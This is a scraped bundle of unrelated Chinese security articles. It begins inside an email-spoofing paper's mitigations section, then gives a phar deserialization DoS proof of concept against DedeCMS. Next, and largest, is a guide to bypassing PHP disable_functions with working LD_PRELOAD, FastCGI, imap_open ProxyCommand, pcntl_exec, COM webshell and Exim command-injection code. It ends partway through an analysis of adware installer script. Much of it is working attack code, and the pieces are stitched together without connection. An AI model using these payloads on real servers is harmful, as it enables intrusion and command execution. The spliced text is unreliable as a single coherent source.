SPF，DKIM和DMARC均已提出并进行了标准化，以防止从不同方面进行电子邮件欺骗攻击。但是，只有在所有协议都得到很好实施的情况下，电子邮件系统才能防止电子邮件欺骗攻击。在这种基于链的身份验证结构中，任何链接的失败都会使身份验证链无效。
**多角色之间的弱链接：**
在电子邮件系统中，自动确定发件人的身份是一个复杂的过程。它涉及四个重要角色：发送者，接收者，转发者和UI渲染器。标准安全模型的假设是，每个角色都正确开发并实施相关的安全验证机制以提供整体安全性。但是，许多电子邮件服务在所有四个角色中均未实现正确的安全策略。
许多电子邮件服务（例如iCloud，Outlook，Yeah.com）在电子邮件转发阶段并未注意到由未授权转发攻击（A9）引起的安全风险。另外，该规范没有规定电子邮件安全验证中四个角色（即发送者，接收者，转发者和UI渲染器）的任何明确职责。
**多服务之间的弱链接：**
不同的电子邮件服务通常具有不同的配置和实现方式。某些服务（例如Gmail，Yandex.com）禁止发送带有歧义header的电子邮件，但会接收。相反，某些公司（例如Zoho，Yahoo）倾向于允许发送带有不明确header的电子邮件，但在电子邮件接收验证阶段进行非常严格的检查。安全策略之间的差异使攻击者可以将来自具有容忍发送策略的服务中的欺骗电子邮件发送给接收策略宽松的服务。
此外，一些电子邮件提供商在处理带有模糊header的电子邮件时会偏离RFC规范。当MUA处理带有多个From
header的邮件时，某些服务（例如Outlook，Mail.ru）会显示第一个header，而其他服务（例如iCloud，yandex
（.com）显示最后一个header。此外，不同的供应商都不同程度地支持Unicode字符。一些供应商（例如21cn.com，Coremail）已经意识到由Unicode字符引起的新安全挑战，但是一些供应商（例如163.com，yeah.net）则不知道。特别是，某些（例如zoho.com，EwoMail）甚至还不支持Unicode字符的呈现。
最后，只有少数电子邮件提供商显示可视UI通知，以警告用户欺骗电子邮件，并且只有12个供应商实施发件人不一致检查。特别是，由于缺乏统一的实施标准，实际中的发件人不一致检查非常多样化。缺乏有效和合理的电子邮件安全通知机制也是造成电子邮件欺骗屡禁不止，却从未消除的原因之一。
### B.缓解
由于电子邮件欺骗是一个涉及多方的复杂问题，因此需要多方协作来解决相关问题。
**更精确的标准：**
请注意，电子邮件提供商可能无法通过电子邮件协议中含糊不清的定义来提供安全可靠的电子邮件服务。因此，提供更准确的电子邮件协议描述对于消除多方协议的实践中的不一致是必要的。例如，DKIM标准应指定何时应将DKIM签名添加到转发的电子邮件中。对于转发者而言，添加DKIM签名以提高电子邮件的信誉是合理的；但是，他们不应在从未通过DKIM验证的电子邮件中添加DKIM签名。
**UI通知：** 电子邮件UI呈现是影响用户对电子邮件真实性的感知的重要部分。不幸的是，在实验中，大多数电子邮件浏览器端和电子邮件客户端仅显示From
header，而没有更多身份验证详细信息。因此，普通用户很难判断电子邮件的真实性。此外，某些视觉攻击（例如A12，A13）无法在协议级别进行防御。一种有效的防御方法是提供用户友好的UI通知，并警告用户其收到的电子邮件可能是电子邮件欺骗。
如上图所示，用户可以根据UI通知直观地识别所接收的电子邮件是否包含恶意行为。著名的电子邮件服务提供商Coremail已采纳了本研究的建议，并在其Webmail和电子邮件客户端上实现了UI通知。此外，本研究还发布了针对Chrome的Chrome扩展程序，名为“
NoSpoofing”（
<https://chrome.google.com/webstore/detail/nospoofing/ehidaopjcnapdglbbbjgeoagpophfjnp>
）的评估工具。已经在GitHub（<https://github.com/mo-xiaoxi/EmailSpoofingTestTool>
）上公开发布了测试工具，供电子邮件管理员评估和提高其安全性。配置目标电子邮件系统信息后，该工具可以与目标系统进行交互，并评估目标系统是否容易受到攻击。已经向30个相关的电子邮件供应商详细报告了此工作中发现的7个披露漏洞。本项目一直在与这些实体联系，以帮助他们缓解检测到的威胁，联系结果总结如下。
**Alibaba Cloud** 对攻击很感兴趣，并与本文研究者就规范进行了深入讨论。 RFC
6376建议在电子邮件转发阶段添加DKIM签名以提高电子邮件的可信度。他们现在已经认识到在没有验证的情况下添加DKIM签名的风险，并承诺评估和修复此类问题。他们还建议本文研究者联系相关RFC的作者，以达成一致的解决方案。
**Gmail** 已经确认本文的报告，并将在后续更新中解决相关问题。他们联系本文研究者讨论这些安全问题背后的根本原因。 **iCloud**
与本文研究者讨论了攻击的详细信息及其潜在后果。特别是，苹果iCloudEmail通过与本项目的合作已经解决了相关的安全问题。 **Sina**
认为此问题是高风险漏洞，并在内部评估了相应的保护措施，提供了≈$ 90的奖励。 **Yandex**
接受本研究的报告并确认漏洞，同时提供200美元的奖金用于感谢。 **Yahoo** 确认了该漏洞，但是声称这不是直接的风险。 **Coremail**
感谢本研究的报告，尤其感谢UI攻击的问题。为了解决这些安全问题，采纳了建议并开始实施UI通知，以保护用户免受电子邮件欺骗攻击。 **QQ Mail** 和
**163.com** 感谢了本研究的工作，并告知将通过反垃圾邮件解决这些安全问题。 **Outlook** 和 **Mail.ru**
声称严格按照RFC标准运行其电子邮件服务，将这些问题归类为网络钓鱼电子邮件，并承诺将更加关注此类攻击的影响。已与其他相关的电子邮件供应商联系，并期待收到他们的反馈。
## 0x06 Conclusion
本文探讨了电子邮件生态系统中链式身份验证结构的漏洞。具体而言，在此基于链的结构下，任何部分的错误都可能破坏整个链，即电子邮件的真实性取决于电子邮件认证链中最弱的链接。本文提出了一系列新攻击，可以通过对电子邮件传递过程的系统分析来绕过SPF，DKIM，DMARC和用户界面保护。此外，对30种流行的电子邮件服务和23个电子邮件客户进行了大规模分析。实验结果表明，它们所有人都容易受到新攻击的攻击，其中包括著名的电子邮件服务，例如Gmail和Outlook，许多电子邮件服务尚未实施适当的保护措施。本研究集中于欺骗攻击对整个基于链的电子邮件身份验证过程的影响，分析了这些攻击的根本原因，并将问题报告给了相应的电子邮件服务提供商。
还为电子邮件协议设计者和电子邮件提供商提出了缓解措施，以防御电子邮件欺骗攻击。本文工作致力于帮助电子邮件行业更有效地保护用户免受电子邮件欺骗攻击，并改善电子邮件生态系统的整体安全性。 | 社区文章 |
引言
在Blackhat2018，来自Secarma的安全研究员Sam
Thomas讲述了一种攻击PHP应用的新方式，利用这种方法可以在不使用unserialize()函数的情况下触发PHP反序列化漏洞。
漏洞原理
漏洞触发点在使用phar://协议读取文件的时候，文件内容会被解析成phar对象，然后phar对象内的Metadata信息会被反序列化。其实这个漏洞点并不是第一次出现，早在hitcon2017就被Orange大佬用来出CTF题了（见baby^h-master-php-2017）。
从PHP官方手册中我们可以看到Meta-data是用serialize()生成并保存在phar文件中的：
跟进PHP内核可以看到，当内核调用phar_parse_metadata()解析metadata数据时，会调用php_var_unserialize()对其进行反序列化操作，因此会造成反序列化漏洞。
漏洞利用
在Sam Thomas的举出的例子中可以看到，该漏洞主要通过利用魔术方法 **destruct或**
wakeup构造利用链，但是在实战环境里往往较难找到可以直接通过魔术方法触发的漏洞点。
由于通过反序列化可以产生任意一种数据类型，因此我想到了PHP的一个很古老的漏洞：PHP内核哈希表碰撞攻击（CVE-2011-4885）。在PHP内核中，数组是以哈希表的方式实现的，攻击者可以通过巧妙的构造数组元素的key使哈希表退化成单链表（时间复杂度从O(1)
=> O(n)）来触发拒绝服务攻击。
PHP修复此漏洞的方式是限制通过$_GET或$_POST等方式传入的参数数量，但是如果PHP脚本通过json_decode()或unserialize()等方式获取参数，依然将受到此漏洞的威胁。
接下来的漏洞利用思路就很明显了：构造一串恶意的serialize数据（能够触发哈希表拒绝服务攻击），然后将其保存到phar文件的metadata数据区，当文件操作函数通过phar://协议对其进行操作的时候就会触发拒绝服务攻击漏洞！
我们可以通过如下代码生成一个恶意的phar文件：
<?php
set_time_limit(0);
$size= pow(2, 16);
$array = array();
for ($key = 0, $maxKey = ($size - 1) * $size; $key <= $maxKey; $key += $size) {
$array[$key] = 0;
}
$new_obj = new stdClass;
$new_obj->hacker = $array;
$p = new Phar(__DIR__ . '/avatar.phar', 0);
$p['hacker.php'] = '<?php ?>';
$p->setMetadata($new_obj);
$p->setStub('GIF<?php __HALT_COMPILER();?>');
然后通过如下代码测试拒绝服务攻击效果：
<?php
set_time_limit(0);
$startTime = microtime(true);
file_exists("phar://avatar.phar");
$endTime = microtime(true);
echo '执行时间： '.($endTime - $startTime). ' 秒';
在我的机器上的测试效果：
漏洞实例复现
这里我要利用DedeCMS一个很出名的漏洞点，这个漏洞最初被用于探测后台目录，之后在“巅峰极客”比赛中被当做SSRF攻击利用，现在我要利用这个漏洞点构造phar反序列化来产生拒绝服务攻击！
首先通过织梦的头像上传点来上传phar文件（avatar.jpg）
文件位置： /member/edit_face.php
由于DedeCMS默认的上传文件大小被限制为50K，所以我们要修改一下配置文件：
找到\data\config.cache.inc.php，
把$cfg_max_face修改为5000
上传成功后就会显示出文件的相对路径，然后直接构造如下数据包即可验证漏洞：
POST /uploads/tags.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencode
Content-Length: 136
dopost=save&_FILES[lsa][tmp_name]=phar://uploads/userup/3/myface.jpg&_FILES[lsa][name]=0&_FILES[lsa][size]=0&_FILES[lsa][type]=image/gif
参考
[1]<https://www.lorexxar.cn/2017/11/10/hitcon2017-writeup/>
[2]<http://php.net/manual/en/book.phar.php>
[3]<https://blog.ripstech.com/2018/new-php-exploitation-technique/>
[4]<http://www.laruence.com/2011/12/30/2435.html>
[5]<https://raw.githubusercontent.com/s-n-t/presentations/master/us-18-Thomas-It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It.pdf>
~ChaMd5安全招聘~
360企业安全
安全分析师
<http://www.chamd5.org/jobdetail.aspx?id=532>
逆向分析师
<http://www.chamd5.org/jobdetail.aspx?id=533>
数据挖掘工程师
<http://www.chamd5.org/jobdetail.aspx?id=534>
安全运营顾问
<http://www.chamd5.org/jobdetail.aspx?id=535>
中国羊奶城
市场部经理
<http://www.chamd5.org/jobdetail.aspx?id=528>
新媒体运营/编辑
<http://www.chamd5.org/jobdetail.aspx?id=527>
上海匡创信息技术有限公司
渗透测试工程师
<http://www.chamd5.org/jobdetail.aspx?id=531>
代码审计工程师
<http://www.chamd5.org/jobdetail.aspx?id=530>
安全开发工程师
<http://www.chamd5.org/jobdetail.aspx?id=445>
网信集团
高级安全工程师（代码审计方向）
<http://www.chamd5.org/jobdetail.aspx?id=529>
多者金融
Python高级工程师
<http://www.chamd5.org/jobdetail.aspx?id=536>
众安科技
二进制安全专家
<http://www.chamd5.org/jobdetail.aspx?id=537>
安全运维工程师
<http://www.chamd5.org/jobdetail.aspx?id=538>
安全产品经理
<http://www.chamd5.org/jobdetail.aspx?id=539>
信息安全运营实习生
<http://www.chamd5.org/jobdetail.aspx?id=540>
大数据数据分析实习生
<http://www.chamd5.org/jobdetail.aspx?id=541>
平安集团信息安全运营中心
SOC监控工程师
<http://www.chamd5.org/jobdetail.aspx?id=542>
猎豹移动安全平台部
安全工程师
<http://www.chamd5.org/jobdetail.aspx?id=543>
安全开发工程师
<http://www.chamd5.org/jobdetail.aspx?id=544>
上海锦江国际电子商务有限公司
渗透测试工程师
<http://www.chamd5.org/jobdetail.aspx?id=545>
北京丁牛科技有限公司
渗透测试岗
<http://www.chamd5.org/jobdetail.aspx?id=346> | 社区文章 |
# 通过Antsword看绕过disable_functions
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者: Imanfeng@360RedTeam
## 0x00 前言
在实际渗透一些php站的时候，时常会遇到有了webshell，却无法执行命令的情况，大多数是因为使用 disablefunctions
禁用了命令执行的相关函数。判断某种绕过方法的关联依赖函数是否也被禁用了或者依赖环境是否可用是较麻烦的，本文则主要讲Antsword插件实现的disablefunctions方法及整理的其他公开可利用方式。
## 0x01 Antsword
自18年8月的 v2.0.0-beta 版本开始，引入了加载器的概念
用户及开发者无需安装额外的环境，只需要下载对应平台的加载器可直接运行当前最新的开发版和发行版
操作系统 | 下载地址 | MD5
---|---|---
OSX | [AntSword-Loader-v4.0.3-darwin-x64.dmg](https://github.com/AntSwordProject/AntSword-Loader/releases/download/4.0.3/AntSword-Loader-v4.0.3-darwin-x64.dmg) |
ca218a249b049121ba4e568a272ee389
Linux 32位 | [AntSword-Loader-v4.0.3-linux-ia32.zip](https://github.com/AntSwordProject/AntSword-Loader/releases/download/4.0.3/AntSword-Loader-v4.0.3-linux-ia32.zip) |
5e0bebe1c88686e144fae9ddfa82aceb
Linux 64位 | [AntSword-Loader-v4.0.3-linux-x64.zip](https://github.com/AntSwordProject/AntSword-Loader/releases/download/4.0.3/AntSword-Loader-v4.0.3-linux-x64.zip) |
ee61d2e3f5ef018add0f147dd60db006
Linux armv7l | [AntSword-Loader-v4.0.3-linux-armv7l.zip](https://github.com/AntSwordProject/AntSword-Loader/releases/download/4.0.3/AntSword-Loader-v4.0.3-linux-armv7l.zip) |
bff6660f32ad308c1bb146f507825978
Linux arm64 | [AntSword-Loader-v4.0.3-linux-arm64.zip](https://github.com/AntSwordProject/AntSword-Loader/releases/download/4.0.3/AntSword-Loader-v4.0.3-linux-arm64.zip) |
045ecb8cca4f50498530837522c964dc
Windows 32位 | [AntSword-Loader-v4.0.3-win32-ia32.zip](https://github.com/AntSwordProject/AntSword-Loader/releases/download/4.0.3/AntSword-Loader-v4.0.3-win32-ia32.zip) |
3e4bff86c5724f77852611c3435aa80b
Windows 64位 | [AntSword-Loader-v4.0.3-win32-x64.zip](https://github.com/AntSwordProject/AntSword-Loader/releases/download/4.0.3/AntSword-Loader-v4.0.3-win32-x64.zip) |
85b80052224061e42f685021f28d1975
同版本开始引入了插件的概念，用户可从远程PlugStore安装现成插件或结合自身需求编写插件来扩展蚁剑的功能，如端口扫描、权限提升等一些列后渗透操作
## 0x02 绕过disable_functions插件
Medicean在4月份基于Antsword插件规则编写了[asbypassphpdisablefunctions](https://github.com/Medicean/as_bypass_php_disable_functions)插件，便于绕过disable_functions的命令执行限制
### 1.LD_PRELOAD
#### 利用原理
LD_PRELOAD 是Linux的环境变量，它允许你定义在程序运行前优先加载的动态链接库
在php中，可使用putenv()函数设置LD_PRELOAD环境变量来加载指定的so文件，so文件中包含自定义函数进行劫持从而达到执行恶意命令的目的
mail() 、 error_log()、ImageMagick()
是常用于劫持的触发函数，原因是需要在运行的时候能够启动子进程，这样才能重新加载我们所设置的环境变量，从而劫持子进程所调用的库函数
* mail函数在运行时，会启动子进程来调用系统的sendmail
* error_log函数当第二个参数为1时，同样会启动子进程来调用系统的sendmail
* ImageMagick函数调用时，也会调用外部程序去处理指定格式文件
以mail()函数为例，查看sendmail调用的函数
可选择不需传递参数的get型函数进行劫持，通过 man 命令查看getegid()函数的实现
重写 getegid() 函数进行编译
// testcc.c
#include <unistd.h>
#include <sys/types.h>
uid_t getegid(void){
if (getenv("LD_PRELOAD") == NULL){//防止其他函数也被劫持
return 0;
}
unsetenv("LD_PRELOAD");//用完即删
system("whoami > testcc.txt");
return 0;
}
成功劫持getegid()函数执行命令
#### 插件实现
在插件中，该原理脚本如下:
<?php
putenv("LD_PRELOAD=/tmp/hack.so");
error_log("a",1);
mail("a@localhost","","","","");
?>
hack.so会调用php开启一个默认配置的PHPServer
并在web目录生成一个.antproxy.php，与新PHPServer建立Socket连接，转发流量到index.php一句话执行命令
成功使用此绕过插件的三个必要条件是：
1. mail()函数和error_log()函数所调用的sendmail已安装
2. 不限制 /usr/sbin/sendmail 的执行
3. mail()函数和error_log()函数有一个未被禁用
那如果目标环境没有sendmail或者禁止调用sendmail的话，该插件方法就无法使用
扩展方法可利用__attribute__ ((__constructor__))，其为GCC的C
语言扩展修饰符。当它出现在共享对象中时，一旦共享对象被系统加载，立即将执行 __attribute__((constructor))
修饰的函数，实现对共享库的劫持
// testss.c
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
__attribute__ ((__constructor__)) void angel (void){
unsetenv("LD_PRELOAD");
const char* cmd = getenv("CMD");
system(cmd);
}
使用php尝试执行开启新PHPServer的命令
<?php
$cmd = "php -n -S 127.0.0.1:6666 -t /var/www/html";
putenv("CMD=".$cmd);
$so_path = "/tmp/testss.so";
putenv("LD_PRELOAD=".$so_path);;
error_log("a",1);
?>
执行成功，可直接将流量转发到6666的PHPServer继续命令执行
### 2.Fastcgi/PHP-FPM
#### 利用原理
Fastcgi 是一种通讯协议，用于Web服务器与后端语言的数据交换；PHP-FPM 则是php环境中对Fastcgi协议的管理程序实现
Nginx为fastcgi 提供了 fastcgi_param 来主要处理映射关系，将 Nginx 中的变量翻译成 PHP 能够理解的变量
例如用户访问http://127.0.0.1/hackme.php?test=1，假设web目录为/var/www/html，那么请求会被解析成如下键值对：
{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/html/hackme.php',
'SCRIPT_NAME': '/hackme.php',
'QUERY_STRING': '?test=1',
'REQUEST_URI': '/hackme.php?test=1',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '6666',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1'
}
其中SCRIPT_FILENAME 用于指定执行的文件，但php-fpm的默认配置中有一个选项：security.limit_extensions
限制了fpm可执行的后缀文件
我们可利用两个php环境变量字段来构造fastcgi包让fpm执行指定的文件： PHP_VALUE及PHP_ADMIN_VALUE
PHP_VALUE 可动态修改模式为PHP_INI_USER和PHP_INI_ALL的配置项，但不能设置on/off等布尔值
例如使用如下fastcgi指令，通过设置 auto_prepend_file 来实现运行第一个php代码前加载指定的HACK.php
fastcgi_param PHP_VALUE "auto_prepend_file=/var/html/www/7488/HACK.php";
PHP_ADMIN_VALUE可以设置php.ini的属性值任意配置项且不会被.htaccess和ini_set()函数所覆盖
但无法覆盖disablefunctions，原因是因为在php运行时，已经按照disablefunctions将禁用函数对应的地址从函数hash列表中剔除
构造攻击协议包如下：
{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/html/hackme.php',
'SCRIPT_NAME': '/hackme.php',
'QUERY_STRING': '?test=1',
'REQUEST_URI': '/hackme.php?test=1',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '6666',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1'
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
设置auto_prepend_file = php://input以及allow_url_include =
On，实现在执行php文件执行前进行远程文件包含POST内容，从而任意代码执行
#### 插件实现
判断选定的fpm连接方式为Unix Socket还是TCP
紧接着与第一种LD_PRELOAD实现相同，将启动新的PHPServer命令插入代上传的so文件指定字节位置，进行上传
so文件上传成功后，初始化fastcgiclient，构造恶意fastcgi协议连接php-fpm，PHP_VALUE与PHP_ADMIN_VALUE均将extension指向so文件，发送协议后动态加载我们的扩展文件，启动默认配置的PHPServer
最后上传代理脚本，将流量通过index.php转发到新PHPServer，实现绕过disable_function
### 3.Apache Mod CGI
#### 利用原理
Mod CGI就是把PHP做为APACHE一个内置模块，让apache
http服务器本身能够支持PHP语言，不需要每一个请求都通过启动PHP解释器来解释PHP
它可以将cgi-script文件或者用户自定义标识头为cgi-script的文件通过服务器运行
在.htaccess文件中可定制用户定义标识头
添加Options +ExecCGI，代表着允许使用mod_cgi模块执行CGI脚本
添加AddHandler cgi-script .cgi，代表着包含.cgi扩展名的文件都将被视为CGI程序
此时需要保证.htaccess可以加载进当前web环境
当apache配置文件中指定web目录下AllowOverride参数值为None 时，.htaccess 文件无法生效
在apache2.3.8版本之前AllowOverride参数值默认设置为 All，.htaccess 文件设置的指令可生效
配置好cgi文件的环境变量后可通过构造如下脚本来实现命令执行
#! /bin/bash
echo -ne "Content-Type: text/html\n\n"//发送给浏览器告诉浏览器文件的内容类型,否则500
whoami
#### 插件实现
插件脚本首先判断modcgi是否启用、当前目录是否可写、.htaccess是否可正常使用
备份.htaccess文件并配置好新的.htaccess以及写入cgi脚本文件shell.ant，并赋执行权限
最后启动一个新的终端，将我们输入的命令put进shell.ant对其发起请求，实现命令执行
### 4.Json Serializer UAF && PHP7 GC with Certain Destructors UAF
#### 利用原理
php7-gc-bypass漏洞利用PHP garbage collector程序中的堆溢出触发进而执行命令
影响范围是linux，php7.0-7.3
https://github.com/mm0r1/exploits/blob/master/php7-gc-bypass/exploit.php
php-json-bypass漏洞利用json序列化程序中的堆溢出触发，以绕过disable_functions并执行系统命令
影响范围是linux，php 7.1-7.3
https://github.com/mm0r1/exploits/blob/master/php-json-bypass/exploit.php
#### 插件实现
两插件首先判断系统版本及php版本是否满足使用条件
启新终端，通过PHP7GCUAFEXP()函数、JSONSerializer_UAF()函数传递执行命令
两EXP函数通过调用原作者POC实现
https://github.com/mm0r1/exploits
## 0x03 其他绕过方式
### 1.IMAP Bypass
imap_open()函数需安装imap扩展，用于打开连接某个邮箱的IMAP流
当启用了rsh和ssh功能并且在debian/ubuntu中会默认调用ssh进行连接
//imap.php
<?php
$payload = "whoami >/tmp/result";
$encoded_payload = base64_encode($payload);
$server = "any -o ProxyCommand=echo\t".$encoded_payload."|base64\t-d|bash";
@imap_open('{'.$server.'}:143/imap}INBOX', '', '');
echo file_get_contents("/tmp/result");
?>
由于未对参数传递进行正确编码，导致ssh建立连接可利用\t代替空格进行-oProxyCommand参数命令拼接，从而调用系统shell执行命令
### 2.PCNTL Bypass
当php安装并使用pcntl扩展时，可借助其pcntlexec()函数直接执行命令来尝试绕过disablefunctions
通过文件读写来达到命令执行回显
<?php
header("Content-Type: text/plain");
$cmd = "/tmp/exec";
@unlink($cmd);
$c = "#!/usr/bin/env bash\n".$_GET[x]."> /tmp/output.txt\n";
file_put_contents($cmd, $c);
chmod($cmd, 0777);
$cd = "/tmp/output.txt";
print_r(file_get_contents($cd));
switch (pcntl_fork()) {
case 0:
$ret = pcntl_exec($cmd);
exit("case 0");
default:
echo "case 1";
break;
}
### 3.COM Bypass
该利用方式调用windows的COM组件需要在php.ini中开启并添加extension
com.allow_dcom = true
extension = php_com_dotnet.dll
通过COM组件直接调用WScript.shell或Shell.Application执行系统命令
<?php
$wsh = isset($_GET['wsh']) ? $_GET['wsh'] : 'wscript';
if($wsh == 'wscript') {
$command = $_GET['cmd'];
$wshit = new COM('WScript.shell') or die("Create Wscript.Shell Failed!");
$exec = $wshit->exec("cmd /c".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
}
elseif($wsh == 'application') {
$command = $_GET['cmd'];
$wshit = new COM("Shell.Application") or die("Shell.Application Failed!");
$exec = $wshit->ShellExecute("cmd","/c ".$command);
}
else {
echo(0);
}
?>
### 4.EXIM Bypass
mail()函数的第五个additional_parameters参数可用于设置命令行选项传递给配置为发送邮件时使用的程序
例如，当将sendmail与-C -X 选项一起使用时，可读取文件并输出到指定文件
<?php
mail("","","",""," -C/etc/passwd -X/tmp/result");
?>
// -C file Use alternate configuration file. Sendmail refuses to run as root if an alternate configuration file is specified.
// -X logfile Log all traffic in and out of mailers in the indicated log file. This should only be used as a last resort for debug-ging mailer bugs. It will log a lot of data very quickly.
当系统使用Exim4来发送邮件时 -be 参数支持运行扩展模式对指定字符串扩展格式进行解析
${run{<command> <args>}{<string1>}{<string2>}}
//执行命令<command> <args>，成功返回string1，失败返回string2
${substr{<string1>}{<string2>}{<string3>}}
//字符串的截取，在string3中从string1开始截取string2个字符
使用run进行命令执行，但空格等特殊字符无法识别
借助其substr函数来截取字符串进行替换特殊字符
如，使用substr{13}{1}{$tod_log} 从第14个字符开始截取一个字符为:
substr{10}{1}{$tod_log}第11个字符即为空格
//From l3m0n
<?php
$c = @$_GET['lemon'];
$result_file = "/tmp/test.txt";
$tmp_file = '/tmp/aaaaaaaaaaa.sh';
$command = $c . '>' . $result_file;
file_put_contents($tmp_file, $command);
$payload = "-be \${run{/bin/bash\${substr{10}{1}{\$tod_log}}/tmp/aaaaaaaaaaa.sh}{ok}{error}}";
mail("a@localhost", "", "", "", $payload);
echo file_get_contents($result_file);
@unlink($tmp_file);
@unlink($result_file);
?>
### 5.FFI Bypass
FFI（Foreign Function Interface）是 PHP7.4 新加入的功能，即外部函数接口，允许从共享库中调用C代码
FFI的使用如下分为声明和调用两个部分
利用ffi来引入libc中的system函数执行命令
## 0x04 如何防御
1. disable_function禁用参考
set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,putenv,error_log,dl
2. PHP7使用28 Nov 2019以后版本
3. 正确设置open_basedir及目录的可写权限
4. 做好上述插件和组件的配置核查
5. 使用主机监控和waf对webshell进行检测和敏感操作拦截
## 参考
https://github.com/AntSwordProject/AntSword-Labs
https://blog.1pwnch.com/websecurity/2019/04/08/Bypass-disablefuncs-with-LDPRELOAD/
https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html
> [Hack PHP mail additional_parameters](http://blog.nsfocus.net/hack-php-mail-> additional_parameters/)
https://www.mi1k7ea.com/2019/06/07/%E4%BB%8E%E4%B8%80%E9%81%93%E9%A2%98%E7%9C%8BPHP7-4%E7%9A%84FFI%E7%BB%95%E8%BF%87disable-functions/ | 社区文章 |
# 警惕 云控广告“游戏盒子”死灰复燃
|
##### 译文声明
本文是翻译文章，文章来源：360QVM@360安全播报
译文仅供参考，具体内容表达以及含义原文为准。
近日,360互联网安全中心拦截了大量可疑流氓推广样本,这些样本伪装成游戏盒子,安装后接收云端指令,会强制下载推广软件,弹窗,修改主页,通过用户的电脑赚取大量的利益,本文将对此样本详细分析.
概述:
该木马通过下载站捆绑传播,安装后潜伏25分钟,25分钟后向服务器发送机器信息(系统版本,软件版本号等),收到指令后下载推广软件和刷流量软件,系统重启后静默安装同时启动刷流量的软件,占用系统大量资源和流量.总感染量达数千万.
样本信息:
图 1 安装包
Setup11009.exe
文件大小: 362752 字节
MD5 e20ecf2a617ae0a063b49668a64577ec
安装包和程序都使用同一个签名
行为分析:
1) 安装后目录结构:
图 2 目录结构
2) 程序列表中:
程序名为 gmbox Redistributable Package(kb20140526) ,伪装成Windows补丁包程序
时间为真实安装时间的一年前
图 3 控制面板-卸载程序-显示
3) 开始菜单显示为 GXBox游戏
图 4 开始菜单
4) 托盘显示图标
图 5 托盘图标
5) 打开后,伪装成游戏广告
图 6 主界面
6) 添加服务,名称为GmXbox_update, dll路径指向安装目录下的gmbox.dll
图 7 服务名称
图 8 服务DLL路径
7) 在HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun添加启动项,参数为
-tray,每次启动不显示主界面,只有托盘图标
图 9 启动项
8) 安装后25分钟,在临时目录下载了数个广告软件和安装程序
图 10 下载安装包
图 11 临时目录中下载的安装包
其中
1\. ir56.exe 调用下载的广告程序安装包.
2\. hw.dat 遍历安装程序,使其窗口隐藏.
3\. ck.dat 刷网站流量.
这3个程序的PE头被修改,防止被杀软查杀.
图 12 修改后的PE头
其他为广告软件安装程序.
系统重启后,广告程序全部都静默安装
技术细节:
1) 安装过程:
A) 安装包使用NSIS打包
首先,禁用常用程序的快速启动任务栏显示,为后面安装软件留位置
WriteRegStr HKCR Applications$_gmbox_.exe NoStartPage ""
WriteRegStr HKCR Applicationsuninstall.exe NoStartPage ""
WriteRegStr HKCR Applicationsuninstall.exe NoStartPage ""
WriteRegStr HKCR Applicationsrsmain.exe NoStartPage ""
WriteRegStr HKCR Applications360sd.exe NoStartPage ""
WriteRegStr HKCR Applicationsrsagent.exe NoStartPage ""
WriteRegStr HKCR Applications360safe.exe NoStartPage ""
WriteRegStr HKCR Applicationsrsmctray.exe NoStartPage ""
WriteRegStr HKCR Applicationskav.exe NoStartPage ""
WriteRegStr HKCR Applicationsrsstub.exe NoStartPage ""
WriteRegStr HKCR ApplicationsSHPlayer.exe NoStartPage ""
WriteRegStr HKCR Applicationswandoujia.exe NoStartPage ""
WriteRegStr HKCR Applicationswandoujia2.exe NoStartPage ""
WriteRegStr HKCR ApplicationsUninst.exe NoStartPage ""
B) 删除桌面和IE中的网址导航快捷方式
Delete $DESKTOP*123*.lnk
Delete $DESKTOP*123*.url
Delete $DESKTOP*Int*.lnk
Delete $DESKTOP*Int*.url
Delete $DESKTOP*1nt*.lnk
Delete $DESKTOP*1nt*.url
Delete $DESKTOP*网址*.lnk
Delete $DESKTOP*网址*.url
Delete $DESKTOP*导航*.lnk
Delete $DESKTOP*导航*.url
Delete "$APPDATAMicrosoftInternet ExplorerQuick Launch*123*.lnk"
Delete "$APPDATAMicrosoftInternet ExplorerQuick Launch*123*.url"
Delete "$APPDATAMicrosoftInternet ExplorerQuick Launch*Int*.lnk"
Delete "$APPDATAMicrosoftInternet ExplorerQuick Launch*Int*.url"
Delete "$APPDATAMicrosoftInternet ExplorerQuick Launch*1nt*.lnk"
Delete "$APPDATAMicrosoftInternet ExplorerQuick Launch*1nt*.url"
Delete "$APPDATAMicrosoftInternet ExplorerQuick Launch*网址*.lnk"
Delete "$APPDATAMicrosoftInternet ExplorerQuick Launch*网址*.url"
Delete "$APPDATAMicrosoftInternet ExplorerQuick Launch*导航*.lnk"
